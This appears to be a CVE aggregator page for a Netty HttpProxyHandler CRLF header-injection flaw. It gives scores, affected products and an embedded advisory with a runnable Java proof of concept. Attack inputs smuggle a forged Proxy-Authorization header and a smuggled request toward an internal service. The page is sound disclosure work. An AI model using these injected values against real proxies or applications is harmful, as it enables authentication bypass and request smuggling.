2.9low
Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation
- Severity
- 2.9low CVSS:4.0 by GitHub_M
- Exploit likelihood
- 1.06% (higher than 65% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-45q3-82m4-75jr
Description
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| netty netty | >= 4.2.0.Alpha1, < 4.2.13.Final, < 4.1.133.Final, before 4.1.133, from 4.2.0 before 4.2.13 | CVE List, NVD |
| cryostat/cryostat-reports-rhel9 | Not specified Not affected: from 4.2.0-10 before * | CVE List |
| cryostat/cryostat-rhel9 | Not specified Not affected: from 4.2.0-10 before * | CVE List |
| cryostat/jfr-datasource-rhel9 | Not specified Not affected: from 4.2.0-10 before * | CVE List |
| netty | Not specified Not affected: from handler-proxy before * | CVE List |
| Red Hat Red Hat build of Quarkus 3.33.2 | Not specified | CVE List |
| eap7-activemq-artemis | Not specified Not affected: from 0:2.16.0-22.redhat_00057.1.el7eap before *, from 0:2.16.0-22.redhat_00057.1.el8eap before *, from 0:2.16.0-22.redhat_00057.1.el9eap before * | CVE List |
| eap7-glassfish-jsf | Not specified Not affected: from 0:2.3.14-11.SP11_redhat_00001.1.el7eap before *, from 0:2.3.14-11.SP11_redhat_00001.1.el8eap before *, from 0:2.3.14-11.SP11_redhat_00001.1.el9eap before * | CVE List |
| eap7-ironjacamar | Not specified Not affected: from 0:1.5.26-2.Final_redhat_00001.1.el7eap before *, from 0:1.5.26-2.Final_redhat_00001.1.el8eap before *, from 0:1.5.26-2.Final_redhat_00001.1.el9eap before * | CVE List |
| eap7-jackson-annotations | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jackson-core | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jackson-databind | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jackson-jaxrs-providers | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jackson-modules-base | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jackson-modules-java8 | Not specified Not affected: from 0:2.18.8-1.redhat_00003.1.el7eap before *, from 0:2.18.8-1.redhat_00003.1.el8eap before *, from 0:2.18.8-1.redhat_00003.1.el9eap before * | CVE List |
| eap7-jboss-remoting | Not specified Not affected: from 0:5.0.31-3.SP2_redhat_00001.1.el7eap before *, from 0:5.0.31-3.SP2_redhat_00001.1.el8eap before *, from 0:5.0.31-3.SP2_redhat_00001.1.el9eap before * | CVE List |
| eap7-jboss-server-migration | Not specified Not affected: from 0:1.10.0-46.Final_redhat_00044.1.el7eap before *, from 0:1.10.0-46.Final_redhat_00044.1.el8eap before *, from 0:1.10.0-46.Final_redhat_00044.1.el9eap before * | CVE List |
| eap7-netty | Not specified Not affected: from 0:4.1.135-1.Final_redhat_00001.1.el7eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el8eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el9eap before * | CVE List |
| eap7-netty-transport-native-epoll | Not specified Not affected: from 0:4.1.135-1.Final_redhat_00001.1.el7eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el8eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el9eap before * | CVE List |
| eap7-picketlink-bindings | Not specified Not affected: from 0:2.5.5-30.SP12_redhat_00020.1.el7eap before *, from 0:2.5.5-30.SP12_redhat_00020.1.el8eap before *, from 0:2.5.5-30.SP12_redhat_00020.1.el9eap before * | CVE List |
| eap7-picketlink-federation | Not specified Not affected: from 0:2.5.5-24.SP12_redhat_00016.1.el7eap before *, from 0:2.5.5-24.SP12_redhat_00016.1.el8eap before *, from 0:2.5.5-24.SP12_redhat_00016.1.el9eap before * | CVE List |
| eap7-undertow | Not specified Not affected: from 0:2.2.40-2.SP3_redhat_00001.1.el7eap before *, from 0:2.2.40-1.SP3_redhat_00001.1.el8eap before *, from 0:2.2.40-1.SP3_redhat_00001.1.el9eap before * | CVE List |
| eap7-wildfly | Not specified Not affected: from 0:7.4.25-2.GA_redhat_00001.1.el7eap before *, from 0:7.4.25-2.GA_redhat_00001.1.el8eap before *, from 0:7.4.25-2.GA_redhat_00001.1.el9eap before * | CVE List |
| io.netty/netty-handler-proxy | Not specified Not affected: from 4.1.135.Final-redhat-00001 before * | CVE List |
| eap8-eap-product-conf-parent | Not specified Not affected: from 0:801.7.1-1.GA_redhat_00001.1.el10eap before *, from 0:801.7.1-1.GA_redhat_00001.1.el8eap before *, from 0:801.7.1-1.GA_redhat_00001.1.el9eap before * | CVE List |
| eap8-netty | Not specified Not affected: from 0:4.1.135-1.Final_redhat_00001.1.el10eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el8eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el9eap before * | CVE List |
| eap8-netty-transport-native-epoll | Not specified Not affected: from 0:4.1.135-1.Final_redhat_00001.1.el10eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el8eap before *, from 0:4.1.135-1.Final_redhat_00001.1.el9eap before * | CVE List |
| eap8-wildfly | Not specified Not affected: from 0:8.1.7.1-1.GA_redhat_00004.1.el10eap before *, from 0:8.1.7.1-1.GA_redhat_00004.1.el8eap before *, from 0:8.1.7.1-1.GA_redhat_00004.1.el9eap before * | CVE List |
| eap8-jose4j | Not specified Not affected: from 0:0.9.6-2.redhat_00002.1.el8eap before *, from 0:0.9.6-2.redhat_00002.1.el9eap before * | CVE List |
| rhoai/odh-modelmesh-rhel9 | Not specified Not affected: from 1783443816 before * | CVE List |
| rhoai/odh-trustyai-service-rhel9 | Not specified Not affected: from 1788198681 before * | CVE List |
| devspaces/openvsx-rhel9 | Not specified Not affected: from 1780948325 before * | CVE List |
| devspaces/pluginregistry-rhel9 | Not specified Not affected: from 1780696380 before * | CVE List |
| devspaces/server-rhel9 | Not specified Not affected: from 1780694994 before * | CVE List |
| devspaces/multicluster-redirector-rhel9 | Not specified Not affected: from 1782989027 before * | CVE List |
| openshift-serverless-1/kn-ekb-dispatcher-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-ekb-receiver-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9 | Not specified | CVE List |
| openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9 | Not specified | CVE List |
| netty-handler-proxy | Not specified | CVE List |
| rhbk/keycloak-rhel9 | Not specified | CVE List |
| rhbk/keycloak-rhel9-operator | Not specified | CVE List |
| rhbk-openshift-rhel9/rhbk-openshift-rhel9 | Not specified | CVE List |
| rhbk-rhel9-operator/rhbk-rhel9-operator | Not specified | CVE List |
| bazel6 | Not specified | CVE List |
| bazel7 | Not specified | CVE List |
| bazel8 | Not specified | CVE List |
| rhoai/odh-modelmesh-rhel8 | Not specified | CVE List |
| rhoai/odh-spark-operator-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-cpu-torch210-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-cpu-torch291-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-cuda130-torch210-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-cuda130-torch291-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-th06-rocm64-torch291-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-trustyai-service-rhel8 | Not specified | CVE List |
| candlepin | Not specified | CVE List |
| satellite:el8/candlepin | Not specified | CVE List |
| io.netty:netty-handler-proxy (Maven) | before 4.1.133.Final, from 4.2.0.Alpha1 before 4.2.13.Final | GitHub Advisory Database |
All scores
| GitHub_M | 2.9low CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P |
| redhat-SADP | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| GitHub | low CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
Classification
What each source says
CVE List
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
GitHub Advisory Database
Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions) |
| Component | io.netty.handler.proxy.HttpProxyHandler |
| Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| Impact | HTTP Header Injection in CONNECT Proxy Requests |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
io.netty.handler.proxy.HttpProxyHandler—newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns:
- HTTP proxy clients that forward user-specified custom headers
- Web scraping frameworks that allow users to set proxy headers
- API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
8. Resources
NVD (es)
Netty es un framework de aplicación de red asíncrono y basado en eventos. Antes de 4.2.13.Final y 4.1.133.Final, el HttpProxyHandler de Netty construye solicitudes HTTP CONNECT con la validación de encabezados explícitamente deshabilitada. El método newInitialMessage() crea encabezados usando DefaultHttpHeadersFactory.headersFactory().withValidation(false), luego añade outboundHeaders proporcionados por el usuario sin ninguna validación CRLF. Esto permite a un atacante que puede influir en los encabezados de salida inyectar encabezados HTTP arbitrarios en la solicitud CONNECT enviada al servidor proxy. Esta vulnerabilidad está corregida en 4.2.13.Final y 4.1.133.Final.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-42578 changed 2026-09-18 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-45q3-82m4-75jr changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-42578 changed 2026-11-11 | Public domain |